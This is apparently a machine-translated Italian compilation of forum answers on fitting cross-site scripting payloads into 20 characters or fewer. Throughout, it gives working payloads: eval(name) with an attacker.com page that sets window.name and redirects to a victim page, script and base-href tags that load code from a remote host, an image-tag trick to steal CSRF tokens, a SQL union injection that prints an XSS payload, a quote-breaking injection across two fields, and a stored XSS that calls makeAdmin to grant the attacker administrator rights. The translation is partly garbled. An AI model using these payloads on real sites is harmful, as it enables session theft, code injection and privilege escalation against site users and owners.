payload XSS inferiore a 20 caratteri

Le risposte sono già state pubblicate. Quindi, lo sto rendendo breve. Ecco un esempio funzionante di un payload XSS in un contesto HTML che ha esattamente 20 caratteri di lunghezza;

<p oncut=eval(name)>

The window.name (simply name) property can be assigned anything and is also inherited cross-origin. This gives us an advantage and let us execute our payload without any limitation unless the page rewrites its name property itself.

Modifica : aggiunta di un esempio
Quindi, puoi definire il carico utile nella tua pagina e reindirizzare alla pagina vulnerabile come;

<!-- attacker's site: attacker.com -->
<script>
window.name = '<PAYLOAD'>;
location = '//victim.com/vulnerable_page';
// vulnerable_page will eval(name)
</script>

Un altro ancora più corto, potrebbe non funzionare in tutti i casi e tutti i browser, è

<script src=//㎠.㎺>

Sono solo 3 lettere per il nome del dominio che include punti e tld. È auto tradotto in cm2.pw dai browser. Ricordo casi in cui non è necessario chiudere il tag script.

Ho scritto un post sul blog sullo stesso argomento qualche giorno fa, fai riferimento a link per esplosione di eval(name) di payload e altri payload più brevi possibili.

20 caratteri non sono poi così tanto, quindi la sfruttabilità dipende dal contesto.

Idealmente, dovresti includere gli script in modo da poter bypassare completamente la restrizione della lunghezza (supponendo che il CSP lo consenta). I seguenti sono i più brevi che potrei inventare:

// basic include, remote file (29 chars)
<script src=//x.me></script>

// using jquery (if already included), remote file (22 chars) (if already in JS context, otherwise 40)
$.getScript('//x.me')

// using jquery, local file (17 chars) (if already in JS context, otherwise 35)
$.getScript('x')

Ora, probabilmente non sarai in grado di ottenere un nome di dominio di un personaggio, quindi puoi aggiungere +1 char agli esempi remoti. in entrambi i casi, è troppo lungo (ma non di molto).

Il terzo esempio presuppone che tu abbia la possibilità di caricare file sul server. I file JS non sono intrinsecamente pericolosi (beh, ad eccezione del bypass CSP in caso di XSS), quindi questo potrebbe essere possibile. Ma hai solo 4 caratteri per il percorso da webroot + il nome del file.

Un'altra opzione - context dependend - sarebbe:

// rewrite base (19 chars)
<base href=//x.me>

Se uno script è incluso utilizzando un percorso relativo, ad esempio <script src="myscript.js"></script> , questo caricherà tale script dal server controllato da un utente malintenzionato.

Si potrebbe salvare un personaggio se si è già nel contesto corretto (quindi si può ad esempio salvare la parentesi iniziale o di chiusura). L'iniezione HTML può anche essere un vettore di attacco valido (es. <img src='//x.me/ (18 caratteri) per rubare il token CSRF).

In base alla mia ricerca, non puoi essere più breve di quanto sopra (a meno che tu non sia davvero fortunato riguardo al contesto, ad esempio, come indicato nella risposta da @ Mike Ounsworth ).

Naturalmente, nel tuo esempio, questo non ha importanza perché non devi preoccuparti della limitazione della lunghezza basata sul database. Dovresti essere in grado di utilizzare l'iniezione SQL per stampare tutto ciò che vuoi usando -1' union select '[XSS payload]' (per XSS riflesso (se non c'è protezione CSRF per la richiesta POST)).

Quando ho dei limiti limitati per i payload del genere, quello che faccio è prima cercare se non c'è un altro input di cui ho il controllo (anche se è sterilizzato) che viene riflesso.

Nel tuo esempio, ci sono altri parametri (anche se non sono vulnerabili) che si riflettono nella pagina. Ad esempio, $_POST[onpage] . Diciamo che solo le virgolette ( ' ) vengono disinfettate (il che è sufficiente per impedire l'xss qui), ma non le doppie virgolette ( " ).

Possiamo quindi creare un payload

coursname : <img src="//x.me/? (18 caratteri)

$_POST[onpage] : " onerror=alert("1");//

Sarà reso come

<th colspan='6'><h2><img src="//x.me/?</th>...<input type='hidden' name='onpage' value="onerror=alert("1");//'>

Poiché viene utilizzato solo virgolette ' per gli attributi tra coursename e $_POST[onpage] , l'intero codice html verrà considerato parte del sorgente dell'immagine e verrà ignorato fino a quando non verrà chiuso in seguito.

A volte pensato, non hai un altro input. Ma potrebbe ancora esserci un modo in base a quello che verrà dopo. Prendiamo ad esempio il seguente codice, in cui $coursename sarebbe anche unsanitized.

<h2>$coursename</h2>
<script src="mysuperscript.js></script>

Se imposti $coursename come <script src=//x.me/> (20 caratteri !!) verrà eseguito. Quando vede un <script src=x> il parser html sta cercando il tag </script> e se esiste, caricherà ed eseguirà il tuo javascript. Ignora anche tutto tra i tag di script (quindi userà il tag di script di chiusura dello script mysuperscript.js !)

Qualsiasi esempio del genere sarà molto specifico per l'applicazione.

Esempio ipotetico: la pagina di amministrazione di alcune app Web, in cui una delle azioni consiste nel promuovere un altro utente come amministratore:

function makeAdmin(userId) {
  // send a POST to the server elevating user $userId to the admin role
  ...
}

Ora diciamo che alcune pagine admin.jsp hanno un vuln XSS come questo:

<!DOCTYPE html>
<html lang="en-US">
...
<script>
displayUserInput(%{userInput});
</script>
...
</html>

Supponiamo che l'ID utente per il mio account sia 1234 . Quindi fornisco il seguente input di 16 caratteri: );makeAdmin(1234 attendi che un vero amministratore esegua l'accesso e attivi il mio XSS memorizzato e BAM! Ora sono un amministratore!

Per la maggior parte dei siti / pagine, 20 caratteri sono probabilmente troppo corti per fare danni reali, ma è certamente possibile.